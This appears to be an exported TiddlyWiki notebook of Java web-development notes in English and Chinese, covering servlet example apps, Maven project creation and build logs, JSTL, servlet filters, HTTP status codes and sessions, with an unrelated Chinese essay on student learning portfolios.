6. Simple Command (SimpleCommand.war)
{{{
Exactly the same as SimpleMVC except the controller actions have been factored out to separate classes. This is a simple implementation of the "Command" or "Action" pattern. Using this pattern allows you to process all of your web actions from one controller servlet; eliminating the need for redundant code and long deployment descriptors.

There are several variations of this pattern. With this one, the request and command objects are passed to the command object. The proper command object is determined by examining the form parameter "form_action".

The commands are instanciated and loaded into the map from the servlet's init method. In this case the command's name and class are hardcoded right in the servlet's java file. Most frameworks factor this out to a separate config file which allows you to add commands without needing to change and recompile the controller servlet. 
}}}

7. Simple Context Init Param (SimpleContextInitParams.war)
{{{
A couple years ago, a common question on the Tomcat-Users list was "How do I set application scoped initialization parameters in Tomcat the way I do with global.asa in ASP?". This example shows how you can set them in your web.xml file. For a more 'fine grained' approach, see 'Simple Servlet Init Params'. 
}}}

8. Simple Servlet Init Param (SimpleServletInitParams.war)
{{{
Similar to 'Simple Context Init Params' except that the parameters are local to a particular servlet. 
}}}

9. Simple Welcome Servlet Hack (SimpleWelcomeServletHack.war)
{{{
Starting in Servlet Spec 2.4, servlet mappings can be used as welcome-entries. Previously, there was no spec compliant way to do this. This example shows a simple way around the issue.
(By having an empty file with the same name as a url-pattern from a servlet mapping, and having that file listed as a welcome file, you can trick the container into serving up your servlet as a welcome file) 
}}}
10. Simple Stream (SimpleStream.war)
{{{
A simple example app that streams a binary file (in this case, an image) from a directory under the WEB-INF directory.

The same technique could be used to stream other types of binary files, such as PDFs or blobs from a database. This example uses ServletContext.getResourceAsStream to pull the file from within the webapp. If you wanted to stream a file from the filesystem that isn't within your webapp, look at java.io.File. 
}}}

11. [[No So Simple Stuff|http://simple.souther.us/not-so-simple.html]]

''[註]'' 上面網站的範例檔存在 java\WARExample 目錄中

///%deploy
//%/
<<forEachTiddler 
 where
   'tiddler.tags.contains("plugin")'
>>
<<forEachTiddler 
 where
 'tiddler.tags.length == 0'
>>
On your command line, execute the following Maven goal:
{{{
mvn archetype:create -DgroupId=com.mycompany.app -DartifactId=my-app
}}}
If you have just installed Maven, it may take a while on the first run. This is because Maven is downloading the most recent artifacts (plugin jars and other files) into your local repository. You may also need to execute the command a couple of times before it succeeds. This is because the remote server may time out before your downloads are complete. Don't worry, there are ways to fix that.

You will notice that the create goal created a directory with the same name given as the artifactId. Change into that directory.
{{{
# cd  my-app       (一定要執行)
}}}
Under this directory you will notice the following standard project structure.
{{{
my-app
|-- pom.xml
`-- src
    |-- main
    |   `-- java
    |       `-- com
    |           `-- mycompany
    |               `-- app
    |                   `-- App.java
    `-- test
        `-- java
            `-- com
                `-- mycompany
                    `-- app
                        `-- AppTest.java
}}}
The src/main/java directory contains the project source code, the src/test/java directory contains the test source, and the ''pom.xml'' is the project's Project Object Model, or POM.

{{op1{The POM}}}
The pom.xml file is the core of a project's configuration in Maven. It is a single configuration file that contains the majority of information required to build a project in just the way you want. The POM is huge and can be daunting in its complexity, but it is not necessary to understand all of the intricacies just yet to use it effectively. This project's POM is:
{{{
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>com.mycompany.app</groupId>
  <artifactId>my-app</artifactId>
  <packaging>jar</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>Maven Quick Start Archetype</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
  </dependencies>
</project>
}}}

{{op1{What did I just do ?}}}
You executed the Maven goal archetype:create, and passed in various parameters to that goal. The prefix archetype is the plugin that contains the goal. If you are familiar with Ant, you may concieve of this as similar to a task. This goal created a simple project based upon an archetype. Suffice it to say for now that a plugin is a collection of goals with a general common purpose. For example the jboss-maven-plugin, whose purpose is "deal with various jboss items".

{{op1{Build the Project}}}
{{{
# mvn package   (會自動產生 my-app/target 目錄)
}}}
The command line will print out various actions, and end with the following:
{{{
 ...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 2 seconds
[INFO] Finished at: Thu Oct 05 21:16:04 CDT 2006
[INFO] Final Memory: 3M/6M
[INFO] ------------------------------------------------------------------------
}}}
Unlike the first command executed (archetype:create) you may notice the second is simply a single word - package. Rather than a goal, this is a phase. A phase is a step in the build lifecycle, which is an ordered sequence of phases. When a phase is given, Maven will execute every phase in the sequence up to and including the one defined. For example, if we execute the compile phase, the phases that actually get executed are:
{{{
1. validate
2. generate-sources
3. process-sources
4. generate-resources
5. process-resources
6. compile
}}}
You may test the newly compiled and packaged JAR with the following command:
{{{
java -cp target/my-app-1.0-SNAPSHOT.jar com.mycompany.app.App
}}}
Which will print the quintessential:
{{{
Hello World!
}}}
<<toBalaNotes "create">>

{{op1{Running Maven Tools}}}
Although hardly a comprehensive list, these are the most common default lifecycle phases executed.
{{{
* validate: validate the project is correct and all necessary information is available
* compile: compile the source code of the project
* test: test the compiled source code using a suitable unit testing framework. These tests should not require the code be packaged or deployed
* package: take the compiled code and package it in its distributable format, such as a JAR.
* integration-test: process and deploy the package if necessary into an environment where integration tests can be run
* verify: run any checks to verify the package is valid and meets quality criteria
* install: install the package into the local repository, for use as a dependency in other projects locally
* deploy: done in an integration or release environment, copies the final package to the remote repository for sharing with other developers and projects.
}}}
There are two other Maven lifecycles of note beyond the default list above. They are
{{{
* clean: cleans up artifacts created by prior builds

* site: generates site documentation for this project
}}}
Phases are actually mapped to underlying goals. The specific goals executed per phase is dependant upon the packaging type of the project. For example, package executes jar:jar if the project type is a JAR, and war:war is the project type is - you guessed it - a WAR.

An interesting thing to note is that phases and goals may be executed in sequence.
{{{
# mvn clean dependency:copy-dependencies package
}}}
This command will clean the project, copy dependencies, and package the project (executing all phases up to package, of course).
Generating the Site
{{{
# mvn site
}}}
This phase generates a site based upon information on the project's pom. You can look at the documentation generated under ''target/site''.

<<toBalaNotes "create1">>
[[1. Maven 2 (Part 1): Setting up a simple Apache Maven 2 project|http://united-coders.com/phillip-steffensen/maven-2-part-1-setting-up-a-simple-apache-maven-2-project]]

{{op1{以交談方式建置專案}}}
To start a simple new Maven 2 project please run "mvn archetype:generate". This will help you generating a specific Maven 2 project by using a Maven 2 archetype. Archetype are patterns for Maven 2 projects. We'll take a closer view on archetype in the third part of this tutorial-series.

After running "mvn archetype:generate" you'll see a bunch of Maven 2 archetypes:
{{{
root@tobalaking:~# mvn archetype:generate
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'archetype'.
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Default Project
[INFO]    task-segment: [archetype:generate] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] Preparing archetype:generate
[INFO] No goals needed for project - skipping
[INFO] Setting property: classpath.resource.loader.class => 'org.codehaus.plexus.velocity.ContextClassLoaderResourceLoader'.
[INFO] Setting property: velocimacro.messages.on => 'false'.
[INFO] Setting property: resource.loader => 'classpath'.
[INFO] Setting property: resource.manager.logwhenfound => 'false'.
[INFO] [archetype:generate]
[INFO] Generating project in Interactive mode
[INFO] No archetype defined. Using maven-archetype-quickstart (org.apache.maven.archetypes:maven-archetype-quickstart:1.0)
Choose archetype:
1: internal -> appfuse-basic-jsf (AppFuse archetype for creating a web application with Hibernate, Spring and JSF)
2: internal -> appfuse-basic-spring (AppFuse archetype for creating a web application with Hibernate, Spring and Spring MVC)
3: internal -> appfuse-basic-struts (AppFuse archetype for creating a web application with Hibernate, Spring and Struts 2)
4: internal -> appfuse-basic-tapestry (AppFuse archetype for creating a web application with Hibernate, Spring and Tapestry 4)
5: internal -> appfuse-core (AppFuse archetype for creating a jar application with Hibernate and Spring and XFire)
6: internal -> appfuse-modular-jsf (AppFuse archetype for creating a modular application with Hibernate, Spring and JSF)
7: internal -> appfuse-modular-spring (AppFuse archetype for creating a modular application with Hibernate, Spring and Spring MVC)
8: internal -> appfuse-modular-struts (AppFuse archetype for creating a modular application with Hibernate, Spring and Struts 2)
9: internal -> appfuse-modular-tapestry (AppFuse archetype for creating a modular application with Hibernate, Spring and Tapestry 4)
10: internal -> maven-archetype-j2ee-simple (A simple J2EE Java application)
11: internal -> maven-archetype-marmalade-mojo (A Maven plugin development project using marmalade)
12: internal -> maven-archetype-mojo (A Maven Java plugin development project)
13: internal -> maven-archetype-portlet (A simple portlet application)
14: internal -> maven-archetype-profiles ()
15: internal -> maven-archetype-quickstart ()
16: internal -> maven-archetype-site-simple (A simple site generation project)
17: internal -> maven-archetype-site (A more complex site project)
18: internal -> maven-archetype-webapp (A simple Java web application)
19: internal -> jini-service-archetype (Archetype for Jini service project creation)
20: internal -> softeu-archetype-seam (JSF+Facelets+Seam Archetype)
21: internal -> softeu-archetype-seam-simple (JSF+Facelets+Seam (no persistence) Archetype)
22: internal -> softeu-archetype-jsf (JSF+Facelets Archetype)
23: internal -> jpa-maven-archetype (JPA application)
24: internal -> spring-osgi-bundle-archetype (Spring-OSGi archetype)
25: internal -> confluence-plugin-archetype (Atlassian Confluence plugin archetype)
26: internal -> jira-plugin-archetype (Atlassian JIRA plugin archetype)
27: internal -> maven-archetype-har (Hibernate Archive)
28: internal -> maven-archetype-sar (JBoss Service Archive)
29: internal -> wicket-archetype-quickstart (A simple Apache Wicket project)
30: internal -> scala-archetype-simple (A simple scala project)
31: internal -> lift-archetype-blank (A blank/empty liftweb project)
32: internal -> lift-archetype-basic (The basic (liftweb) project)
33: internal -> cocoon-22-archetype-block-plain ([http://cocoon.apache.org/2.2/maven-plugins/])
34: internal -> cocoon-22-archetype-block ([http://cocoon.apache.org/2.2/maven-plugins/])
35: internal -> cocoon-22-archetype-webapp ([http://cocoon.apache.org/2.2/maven-plugins/])
36: internal -> myfaces-archetype-helloworld (A simple archetype using MyFaces)
37: internal -> myfaces-archetype-helloworld-facelets (A simple archetype using MyFaces and facelets)
38: internal -> myfaces-archetype-trinidad (A simple archetype using Myfaces and Trinidad)
39: internal -> myfaces-archetype-jsfcomponents (A simple archetype for create custom JSF components using MyFaces)
40: internal -> gmaven-archetype-basic (Groovy basic archetype)
41: internal -> gmaven-archetype-mojo (Groovy mojo archetype)
Choose a number:  (1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/37/38/39/40/41) 15: :
}}}
Now it's up to you to choose. In this example we'll use the archetype ''15 "maven-archetype-quickstart"''. Type ''15'' and press [Return]. After you choosed your archetype you'll be asked for project-specific settings:
{{{
Define value for groupId: : com.unitedcoders
Define value for artifactId: : com.united-coders
Define value for version:  1.0-SNAPSHOT: : MyExampleApp
Define value for package:  com.unitedcoders: : 0.0.1-SNAPSHOT
Confirm properties configuration:
groupId: com.unitedcoders
artifactId: com.united-coders
version: MyExampleApp
package: 0.0.1-SNAPSHOT
 Y: : y
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating OldArchetype: maven-archetype-quickstart:RELEASE
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.unitedcoders
[INFO] Parameter: packageName, Value: 0.0.1-SNAPSHOT
[INFO] Parameter: package, Value: 0.0.1-SNAPSHOT
[INFO] Parameter: artifactId, Value: com.united-coders
[INFO] Parameter: basedir, Value: /root
[INFO] Parameter: version, Value: MyExampleApp
[INFO] ********************* End of debug info from resources from generated POM ***********************
[INFO] OldArchetype created in dir: /root/com.united-coders
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 6 minutes 48 seconds
[INFO] Finished at: Sun Jun 21 21:04:11 CST 2009
[INFO] Final Memory: 7M/14M
[INFO] ------------------------------------------------------------------------
}}}

///%create
//%/

///%create1
//%/
參考文章
[[1. JavaServer Pages Documents|http://java.sun.com/javaee/5/docs/tutorial/doc/bnajo.html]]

{{item1{顯示 1 到 10}}}
{{{
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
<html>
  <head>
    <title>Count to 10 Example (using JSTL)</title>
  </head>

  <body>
    <c:forEach var="i" begin="1" end="10" step="1">
      <c:out value="${i}" />
      <br />
    </c:forEach>
  </body>
</html>
}}}
<<toBalaNotes "simple01">>
{{{
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jstl/core" %>
<%-- 
<%
  synchronized (pageContext) {
    String[] names = {"海參", "Rosy", "Petter", "Rob"};
    pageContext.setAttribute("names", names, pageContext.APPLICATION_SCOPE);
  }
%>
--%>

<html>
  <head>
    <title>forEach and status</title>
  </head>

  <body>
    The forEach tag exposes a scoped variable called 'count', which
    is the position of the current element within the collection. <br />

    <c:forEach var="currentName" items="${applicationScope.names}" varStatus="status">
      Family member #<c:out value="${status.count}" /> is
        <c:out value="${currentName}" /> <br />
    </c:forEach>
  </body>
</html>
}}}

{{{
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
  synchronized (pageContext) {
    String[] names = {"海參", "Rosy", "Petter", "Rob"};
    pageContext.setAttribute("names", names, pageContext.APPLICATION_SCOPE);
  }
%>
}}}
///%simple01
//%/
''參考範例''
[[1.Java Servlet - Servlet Model-View-Controller (MVC)|http://forums.sun.com/thread.jspa?threadID=5381201]]

[img[img/webapp/mvc.png]]

<<toBalaNotes "mvc">>

///%mvc
//%/
※本文內容取自台南市長安國小校長/陳聖謨的『小學生的學習檔案』一文
來源網站網址:http://sparc2.nhltc.edu.tw/~publish/31homepage/17.htm

傳統的紙筆測驗雖然具有簡便速效的優點,然而許多教育人員也大多相信測驗分數並不能代表學生真正的學習表現,也無法瞭解學生在學習過程中的進步情形。例如最典型的標準化成就測驗,就招致了:不能激勵學生學習、預測學生的學習發展效果不佳、窄化了所學的範圍、僅能評定表面的知識等等批評。

因此在九十年代之後,真實性評量 (authentic assessment) 與實作性評量 (performance assessment) 的理念相繼崛起,其中最受到矚目的要算是以檔案形式來顯現學生的學習表現,因為檔案可以激發學生主動學習的動機,並展現學生在各方面學習的進步情形,在美國,使用學生的學習檔案,已成為教學與評鑑的重要趨勢。

學生所建構的學習檔案是指學生在某一期間當中,各種學習的代表作品或其所展現的能力,故檔案是學生在某個領域的學習過程與學習成就所彙編選錄而成的專輯。其內容包含了學生的寫作品,研究報告,閱讀過書目表,口說閱讀的錄音帶,學生的自我評鑑,檢核表;插畫,手工作品代表,平時測驗成績,教師平時觀察評語,父母評語,閱讀心得,對檔案內容的反省評論及檔案內容的次序一覽表等等。從檔案內容,可以看出學生的努力、進步與成就的情形。

使用學習檔案,可結合學生在學習過程的學習記錄與成果的展現,等於兼具了教學與評鑑的效果。

    * 就教師而言,教師可透過學生學習檔案的檢閱,可以全面瞭解學生的學習狀況,並作為個別學習輔導、親師溝通或學年成績通知之用。
    * 就學生而言,可使學生的建構檔案的過程當中,自我監控、自我激勵、交互切磋,有益於其良好學習態度的養成,並獲得有效的學習策略。

雖然檔案的建立需要特別的努力與時間,事實上,其整體效益還是相當值得的。「凡學過必留下痕跡」。隨著多元評量運動的興起與學校本位經營的趨勢下,在學校推展以檔案的方式作為評量方法,或建立全校性學生學習檔案的措施,相信對學生學習表現的評量將更為具體,師生互動也將更為密切直接。

這種具有合作參與,教學並重,過程結果兼具的學習與評量方式,相信將會是教育改革浪潮中的相當具體的實踐行動。


!相關網站
1. 大安高工 - 學習檔案製作網站 : http://210.70.131.3/efiles/main.asp?item=3
2. 北一女中社區化資訊網站 : http://203.64.52.1/~community/92/learnfile.html
{{item1{ControllerServlet.java}}}
{{{
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class ControllerServlet extends HttpServlet{
    
    public void doPost(HttpServletRequest  request, 
                       HttpServletResponse response) 
                  throws ServletException, IOException{

        ModelBean modelBean = new ModelBean();

        modelBean.setFirstName(request.getParameter("first_name")); 
        modelBean.setLastName( request.getParameter("last_name")); 
        modelBean.setEmail(    request.getParameter("email")); 
        modelBean.setPhone(    request.getParameter("phone")); 

        request.setAttribute("modelBean", modelBean);

        getServletContext()
	    .getRequestDispatcher("/view.jsp").forward(request, response);
    }

    public void doGet(HttpServletRequest  request, 
                      HttpServletResponse response) 
                  throws ServletException, IOException{

        getServletContext()
	    .getRequestDispatcher("/view.jsp").forward(request, response);
    }
}
}}}
<<toBalaNotes "controller">>

///%controller
//%/
An HTTP request can fail because of a network error or because of problems encountered while the request is executing on the web server.

{{item1{Network Errors}}}
If a network error occurs while transmitting a request message, error information is available from the underlying network component; e.g. Windows Sockets or WinInet. Monitoring tools like HttpWatch can display error codes for situations such as:
{{{
1. The host name could not be converted into an IP address, perhaps because an invalid host name was used or because no DNS lookup service is available.
2. The browser could not connect to the web server. This may happen if the web server is not running or is listening on the wrong port.
3. The network connection may be broken while transmitting the request message, perhaps because a physical network connection has been interrupted, e.g. a network cable has been unplugged.
}}}

{{item1{Status Codes}}}
HTTP status codes are returned by web servers to describe if and how a request was processed. The codes are grouped by the first digit:

''1xx - Informational''
Any code starting with '1' is an intermediate response and indicates that the server has received the request but has not finished processing it. For example, IIS initially replies with 100 Continue when it receives a POST request and then with 200 OK once it has been processed

''2xx - Successful''
These codes are used when a request has been successfully processed. For example, the value 200 is used when the requested resource is being returned to the HTTP client in the body of the response message.

''3xx - Redirection''
Codes starting with a '3' indicate that the request was processed, but the browser should get the resource from another location. Some examples are:

''302''
The requested resource has been temporarily moved and the browser should issue a request to the URL supplied in the Location response header. (See 7. Redirection)

''304''
The requested resource has not been modified and the browser should read from its local cache instead. The Content-Length header will be zero or absent because content is never returned with a 304 response (See 5. Caching for more detail)
  	 
''4xx - Client Error''
The server returns these codes when they is a problem with the client's request. Here are some examples:

''401''
Anonymous clients are not authorized to view the requested content and must provide authentication information in the WWW-Authenticate request header. (See 10. Authentication for more detail)

''404''
The requested resource does not exist on the server

''5xx - Server Error''
A status code starting with the digit 5 indicates that an error occurred on the server while processing the request. For example:

''500''
An internal error occurred on the server. This may be because of an application error or configuration problem

''503''
The service is currently unavailable, perhaps because of essential maintenance or overloading
<<toBalaNotes 'status">>




///%status"
//%/

''參考文章''
1. Servlet Filters
http://www.di.unipi.it/~ghelli/didattica/bdl/A97329_03/web.902/a95878/filters.htm
2. Another Java Servlet Filter Most Web Applications Should Have
http://onjava.com/pub/a/onjava/2004/03/03/filters.html

A particularly useful function for a filter is to manipulate the response to a request. To accomplish this, use the standard javax.servlet.http.HttpServletResponseWrapper class, a custom javax.servlet.ServletOutputStream object, and a filter. To test the filter, you also need a target to be processed by the filter. In this example, the target that is filtered is a JSP page.

There are three new classes to write to implement this example:

    * FilterServletOutputStream--a new implementation of ServletOutputStream for response wrappers

    * GenericResponseWrapper--a basic implementation of the response wrapper interface

    * PrePostFilter--the code that implements the filter

This example uses the HttpServletResponseWrapper class to wrap the response before it is sent to the target. This class is an object that acts as a wrapper for the ServletResponse object (using a Decorator design pattern, as described in Design Patterns: Elements of Reusable Object-Oriented Software, by Gamma, Helm, Johnson, and Vlissides; Addison-Wesley Press). It is used to wrap the real response so that it can be modified after the target of the request has delivered its response.

The HTTP servlet response wrapper developed in this example uses a custom servlet output stream that lets the wrapper manipulate the response data after the servlet (or JSP page, in this example) is finished writing it out. Normally, this cannot be done after the servlet output stream has been closed (essentially, after the servlet has committed it). That is the reason for implementing a filter-specific extension to the ServletOutputStream class in this example.
Output Stream: FilterServletOutputStream.java

The FilterServletOutputStream class is used to manipulate the response of another resource. This class overrides the three write() methods of the standard java.io.OutputStream class.

Here is the code for the new output stream:

package com.acme.filter;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public
class FilterServletOutputStream extends ServletOutputStream {

  private DataOutputStream stream; 

  public FilterServletOutputStream(OutputStream output) { 
    stream = new DataOutputStream(output); 
  }

  public void write(int b) throws IOException  { 
    stream.write(b); 
  }

  public void write(byte[] b) throws IOException  { 
    stream.write(b); 
  }

  public void write(byte[] b, int off, int len) throws IOException  { 
    stream.write(b,off,len); 
  } 

}

Save this code in the following directory and compile it:

j2ee/home/default-web-app/WEB-INF/classes/com/acme/filter

Servlet Response Wrapper: GenericResponseWrapper.java

To use the custom ServletOutputStream class, implement a class that can act as a response object. This wrapper object is sent back to the client in place of the original response generated by the servlet (or JSP page).

The wrapper must implement some utility methods, such as to retrieve the content type and content length of its content. The GenericResponseWrapper class accomplishes this:

package com.acme.filter;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class GenericResponseWrapper extends HttpServletResponseWrapper { 
  private ByteArrayOutputStream output;
  private int contentLength;
  private String contentType;

  public GenericResponseWrapper(HttpServletResponse response) { 
    super(response);
    output=new ByteArrayOutputStream();
  } 

  public byte[] getData() { 
    return output.toByteArray(); 
  } 

  public ServletOutputStream getOutputStream() { 
    return new FilterServletOutputStream(output); 
  } 
  
  public PrintWriter getWriter() { 
    return new PrintWriter(getOutputStream(),true); 
  } 

  public void setContentLength(int length) { 
    this.contentLength = length;
    super.setContentLength(length); 
  } 

  public int getContentLength() { 
    return contentLength; 
  } 

  public void setContentType(String type) { 
    this.contentType = type;
    super.setContentType(type); 
  } 


  public String getContentType() { 
    return contentType; 
  } 
} 

Save this code in the following directory and compile it:

j2ee/home/default-web-app/WEB-INF/classes/com/acme/filter

Writing the Filter

This filter adds content to the response of the servlet (or JSP page) after that target is invoked. This filter extends the filter from "Generic Filter".
Filter Code: PrePostFilter.java

package com.acme.filter;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class PrePostFilter extends GenericFilter { 

  public void doFilter(final ServletRequest request,
                       final ServletResponse response,
                       FilterChain chain)
       throws IOException, ServletException { 
  OutputStream out = response.getOutputStream();
  out.write("<HR>PRE<HR>".getBytes());
  GenericResponseWrapper wrapper = new 

         GenericResponseWrapper((HttpServletResponse) response); 
  chain.doFilter(request,wrapper);
  out.write(wrapper.getData());
  out.write("<HR>POST<HR>".getBytes());
  out.close(); 
  } 
} 

Save this code in the following directory and compile it:

j2ee/home/default-web-app/WEB-INF/classes/com/acme/filter

JSP code: filter3.jsp

As in the previous examples, create a simple JSP page and place it in the root of default-web-app:

<HTML> 
<HEAD> 
<TITLE>Filter Example 3</TITLE> 
</HEAD>
<BODY> 
This is a testpage. You should see<br>
this text when you invoke filter3.jsp, <br>
as well as the additional material added<br>
by the PrePostFilter. 
<br>
</BODY> 
</HTML

Save this JSP code as j2ee/home/default-web-app/filter3.jsp.
Configuring the Filter

Add the following <filter> element to web.xml, after the configuration of the message filter:

  <!-- Filter Example #3 -->
  <filter> 
    <filter-name>prePost</filter-name>
    <display-name>prePost</display-name>
    <filter-class>com.acme.filter.PrePostFilter</filter-class> 
  </filter> 
  <filter-mapping> 
    <filter-name>prePost</filter-name>
    <url-pattern>/filter3.jsp</url-pattern> 
  </filter-mapping> 
  <!-- end Filter Example #3 -->

Running Example #3

In your Web browser, enter a URL such as the following:

http://<hostname>:<port>/j2ee/filter3.jsp

''ServletConfig'' is a private area for every servlet.

While ''SevletContext'' is a shared area for every servlet in an applicationi.e., all the servlet's in this application can access this variables in servlet context,an best example for this is,we can keep variables like database connection objects

[img[img/servlet/servletobject01.png]]

<<toBalaNotes "servletobj">>

///%servletobj
//%/
Cookies are a useful way of link small amounts of information to a specific user, but suppose your needs are more complicated ? eg, you have a form for data entry which is split over several pages, but you want all the information entered on the earlier pages to be 'stored' so that it can all be processed in one go. One common solution is to use HIDDEN input tags inside the later forms to store the selections from the earlier forms eg :
{{{
<FORM ACTION="/servlets/FirstServlet">
<INPUT TYPE="TEXT" NAME="data1">
<INPUT TYPE=SUBMIT VALUE=Submit>
</FORM>
}}}
When submitted, 'FirstServlet' would dynamically generate the form for the second stage of the process so that it includes the data from the first as part of the form :
{{{
<FORM ACTION="/servlets/SecondServlet">
<INPUT TYPE="HIDDEN" NAME="data1" VALUE="xxxxx">
<INPUT TYPE="TEXT" NAME="data2">
<INPUT TYPE=SUBMIT VALUE=Submit>
</FORM>
}}}
This method is very reliable, but can be cumbersome. A much more effective method is to use an HttpSession. Sessions allow you to associate Java objects with a given user of the website (usually identified by a cookie, but this is automatic, so you don't have to worry about it). The Session stores these objects using Strings as keys, in use this is very similar to a Hashtable.

The following Servlet picks up a parameter which the user has entered and stores it in a session. :
{{{
 public void doPost(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
 {
  String name=req.getParameterValues("yourname")[0];

  //*****Get the current Session. The 'true' parameter tells
  //       Java to create a new one if there isn't one already*****
  HttpSession session=req.getSession(true);
  session.putValue("name", name);

  //*****Send the reply*****

  res.setContentType("text/html");
  PrintWriter out=res.getWriter();
  out.println("<HTML>\n"+
   "<HEAD><TITLE>Split Name Servlet Response</TITLE></HEAD>\n"+
   "<BODY>\n<CENTER><BR><B>\n"+
   "<P>Your name has been recorded in a session.</P>"+
   "\n</B></CENTER>\n"+
  </BODY>\n</HTML>" );
  out.close();
 }
}}}

The second Servlet will try to pick up a pre-existing session and extract the stored parameters from it. It will then clear the session from memory. You may not always want to do this, if you have many servlets that need to pick up the data in the session and you can safely leave sessions 'behind', the Servlet engine will automatically clear out any sessions which have been inactive for a certain length of time. However, if you have a Servlet which represents a definitive 'end point' after which the session is not needed, you should explicitly call the invalidate() method to clear the session.
{{{
 public void doPost(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
 {
  //***Get the current session. 'false' parameter tells Java not to create a new***
  //***one if one does not exist, so returns null if there is no session***
  HttpSession session=req.getSession(false);
  String output="No Session";
  if (session!=null)
   output="Hello "+session.getValue("name");

  //*****Send the reply*****

  res.setContentType("text/html");
  PrintWriter out=res.getWriter();
  out.println("<HTML>\n"+
   "<HEAD><TITLE>Split Name Servlet Response</TITLE></HEAD>\n"+
   "<BODY>\n"+
   "<CENTER><BR><B>\n"+
   "<P>"+output+"</P>"+
   "\n</B></CENTER>\n"+
  </BODY>\n</HTML>" );
  out.close();

  //*****We've finished with the session, so clean it up*****
  session.invalidate()
 }
}}}
<<list shadowed>>

''參考文章''
[[1. An introduction to Maven 2 (Web Application).htm|documents/html/An introduction to Maven 2 (Web Application).htm]]

本文網址 : http://today.java.net/pub/a/today/2007/03/01/building-web-applications-with-maven-2.html

Now that we have created our JAR file, creating the WAR file is straightforward, we just pass in a different ''archetype ID''.
{{{
root@tobalaking:~# mvn  archetype:create  -DgroupId=net.tobala  -DartifactId=tobala_webapp  -DarchetypeArtifactId=maven-archetype-webapp

[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: 'archetype'.
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Default Project
[INFO]    task-segment: [archetype:create] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] Setting property: classpath.resource.loader.class => 'org.codehaus.plexus.velocity.ContextClassLoaderResourceLoader'.
[INFO] Setting property: velocimacro.messages.on => 'false'.
[INFO] Setting property: resource.loader => 'classpath'.
[INFO] Setting property: resource.manager.logwhenfound => 'false'.
[INFO] [archetype:create]
[WARNING] This goal is deprecated. Please use mvn archetype:generate instead
[INFO] Defaulting package to group ID: net.tobala
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating OldArchetype: maven-archetype-webapp:RELEASE
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: net.tobala
[INFO] Parameter: packageName, Value: net.tobala
[INFO] Parameter: package, Value: net.tobala
[INFO] Parameter: artifactId, Value: tobala_webapp
[INFO] Parameter: basedir, Value: /root
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] ********************* End of debug info from resources from generated POM ***********************
[INFO] OldArchetype created in dir: /root/tobala_webapp
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 7 seconds
[INFO] Finished at: Sun Jun 21 19:53:53 CST 2009
[INFO] Final Memory: 7M/14M
[INFO] ------------------------------------------------------------------------

}}}

As shown in Figure 3, we now have a directory structure you would expect to see for a WAR. Note that the JAR file is automatically pulled into the WAR file from the local repository.

[img[img/maven/mavenwebdir.png]]

Simply executing the command ''mvn package'' creates our WAR file (again, omitting most of the status messages besides the plugin list).

In this case, the ''mvn package'' command builds the WAR file but does not install it into the local repository (repositories will be discussed later). As you build larger, more sophisticated projects with more complex dependencies, you may wish to be more deliberate about using the mvn package and mvn install commands to control inter-project dependencies. Because the WAR file is the final artifact we are creating, we can save a few compute cycles merely by packaging the WAR file in the local target directory.
{{{
root@tobalaking:~# cd tobala_webapp/       (一定要執行)
root@tobalaking:~/tobala_webapp# mvn package
[INFO] Scanning for projects...
[INFO] ------------------------------------------------------------------------
[INFO] Building tobala_webapp Maven Webapp
[INFO]    task-segment: [package]
[INFO] ------------------------------------------------------------------------
[INFO] [resources:resources]
[WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent!
[INFO] Copying 0 resource
[INFO] [compiler:compile]
[INFO] No sources to compile
[INFO] [resources:testResources]
[WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent!
[INFO] skip non existing resourceDirectory /root/tobala_webapp/src/test/resources
[INFO] [compiler:testCompile]
[INFO] No sources to compile
[INFO] [surefire:test]
[INFO] No tests to run.
[INFO] [war:war]
[INFO] Packaging webapp
[INFO] Assembling webapp[tobala_webapp] in [/root/tobala_webapp/target/tobala_webapp]
[INFO] Processing war project
[INFO] Copying webapp resources[/root/tobala_webapp/src/main/webapp]
[INFO] Webapp assembled in[201 msecs]
